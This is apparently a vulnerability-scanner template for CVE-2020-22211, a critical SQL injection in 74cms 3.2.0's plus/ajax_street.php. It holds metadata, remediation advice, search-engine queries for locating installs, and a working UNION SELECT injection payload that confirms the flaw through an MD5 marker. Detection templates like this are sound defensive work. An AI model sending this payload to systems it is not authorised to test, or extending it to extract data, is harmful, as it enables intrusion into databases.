74cms - ajax_street.php 'key' SQL Injection

id: CVE-2020-22211

info:
  name: 74cms - ajax_street.php 'key' SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    SQL Injection in 74cms 3.2.0 via the key parameter to plus/ajax_street.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the 'key' parameter of ajax_street.php in 74cms.
  reference:
    - https://github.com/blindkey/cve_like/issues/13
    - https://nvd.nist.gov/vuln/detail/CVE-2020-22211
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-22211
    cwe-id: CWE-89
    epss-score: 0.0794
    epss-percentile: 0.94285
    cpe: cpe:2.3:a:74cms:74cms:3.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: 74cms
    product: 74cms
    shodan-query: http.html:"74cms"
    fofa-query:
      - app="74cms"
      - body="74cms"
  tags: cve,cve2020,74cms,sqli,vkev,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - '{{BaseURL}}/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,4,5,6,7,md5({{num}}),9%23'

    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'
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